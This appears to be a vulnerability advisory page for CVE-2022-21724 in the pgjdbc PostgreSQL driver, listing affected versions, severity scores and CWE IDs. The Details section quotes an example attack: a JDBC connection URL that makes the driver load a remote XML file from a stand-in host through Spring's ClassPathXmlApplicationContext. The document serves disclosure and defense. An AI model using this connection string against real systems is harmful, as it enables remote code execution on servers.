logo

CVE-2022-21724 org.postgresql:postgresql

Package

Manager: maven
Name: org.postgresql:postgresql
Vulnerable Version: >=9.4.1208 <42.2.25 || >=42.3.0 <42.3.2

Severity

Level: High

CVSS v3.1: CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

CVSS v4.0: CVSS:4.0/AV:L/AC:H/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

EPSS: 0.03893 pctl0.87814

Details

pgjdbc Does Not Check Class Instantiation when providing Plugin Classes ### Impact pgjdbc instantiates plugin instances based on class names provided via `authenticationPluginClassName`, `sslhostnameverifier`, `socketFactory`, `sslfactory`, `sslpasswordcallback` connection properties. However, the driver did not verify if the class implements the expected interface before instantiating the class. Here's an example attack using an out-of-the-box class from Spring Framework: ``` DriverManager.getConnection("jdbc:postgresql://node1/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://target/exp.xml"); ``` The first impacted version is REL9.4.1208 (it introduced `socketFactory` connection property)

Metadata

Created: 2022-02-02T00:04:20Z
Modified: 2022-08-12T13:14:09Z
Source: https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2022/02/GHSA-v7wg-cpwc-24m4/GHSA-v7wg-cpwc-24m4.json
CWE IDs: ["CWE-665", "CWE-668", "CWE-74"]
Alternative ID: GHSA-v7wg-cpwc-24m4
Finding: F138
Auto approve: 1